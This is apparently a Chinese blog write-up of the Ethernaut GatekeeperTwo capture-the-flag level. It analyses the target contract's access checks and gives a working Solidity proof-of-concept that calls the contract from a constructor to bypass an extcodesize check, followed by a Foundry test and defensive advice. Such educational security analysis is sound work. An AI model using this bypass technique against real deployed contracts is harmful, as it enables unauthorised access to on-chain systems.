Ethernaut学习之路 GateKeeperTwo

  • Lori
  • 更新于 2024-03-07 21:44
  • 阅读 814

Ethernaut Solutions-GateKeeperTwo 合约分析以及相应PoC

Ethernaut Solutions

on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
  • 平台网址:https://ethernaut.zeppelin.solutions/

    GateKeeperTwo合约分析

  • ctf网址:https://ethernaut.openzeppelin.com/level/0x0C791D1923c738AC8c4ACFD0A60382eE5FF08a23
  • 攻击类型:访问权限控制
  • 目标:进入合约,将 entrant 更改成 deployer
  • 要求:满足三个 modifier 条件
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

这个与 GateKeeperOne 类似,第二、三个 modifier不同。

  1. gateTwo

在以太坊中,地址可以是外部用户地址(Externally Owned Accounts,缩写EOA),也可以是合约地址。有时候需要区分这两种地址,或者限制其他合约地址进行跨合约调用,以防止发生黑客攻击。 之前,通常使用 EVM 指令 extcodesize 来获取指定地址关联的合约代码的长度。如果返回的长度大于0,则表示该地址是一个合约地址;如果返回的长度为0,则表示该地址是一个外部用户地址,依此判断地址的类型,并采取相应的安全措施。

assembly { x := extcodesize(caller()) }中x解析出的是合约的代码长度,而caller()返回的是调用者的地址,x == 0 表示期望调用者不是合约,是EOA账户,这个要求与gateOne是相悖的,那么我们应该怎么做呢?

通过对extcodesize的学习,了解到通过合约constructor的调用来避开extcodesize的检查,我写了篇学习文章《EVM 指令 extcodesize 学习》

  1. gateThree 根据SolidityBitwise 可知 ^ 优先于相等运算符。要求传入的参数与 msg.sender 的哈希值进行异或运算,然后与 type(uint64).max 进行比较, uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))这个很容易得到,对于GateKeeperTwo合约来说来说,msg.sender就是攻击合约的地址,那么我们需要考虑如何通过type(uint64).max 来反推_gateKey的值。

^ Bitwise XOR可知,a ^ b = c, 即 a^c = b. bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max) 解除gateKey

Proof of Concept

根据以上分析,完整的 PoC 代码如下:

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract Solution {
    address contractAddress;

    constructor(address _contractAddress) {
      contractAddress = _contractAddress;
      unchecked{
          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
          IGatekeeperTwo(contractAddress).enter(key);
      }
    }
}

contract GatekeeperTwoTest is BaseTest {

    Solution public solution;

    function setUp() public override {
        super.setUp();
        gatekeeperTwo = GatekeeperTwo(contractAddress);
    }

   function test_Attack() public {
        vm.startBroadcast(deployer);
        solution = new Solution(contractAddress);
        address entrant = address(uint160(uint256(vm.load(contractAddress,bytes32(uint256(0))))));
        assertEq(entrant, deployer);
        vm.stopBroadcast();
    }
}

防御措施

  • 通过检查 extcodesize 可以确定地址是否为合约,这存在明显漏洞,如果 extcodesize > 0,则该地址为合约;但 extcodesize = 0,则该地址可能为 EOA,也可能是正在创建状态的合约。
  • 如果想要检测调用者是否为合约,可以通过 (tx.origin == msg.sender) 来进行判断。当调用者为 EOA 时,tx.origin 和 msg.sender 相等;当它们不相等时,调用者为合约。
    function isContract(address account) public view returns (bool) {
    return (tx.origin != msg.sender);
    }
  • 真实攻击案例,Fei Protocol Flashloan Vulnerability(May 14, 2021)
点赞 4
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
江湖只有他的大名,没有他的介绍。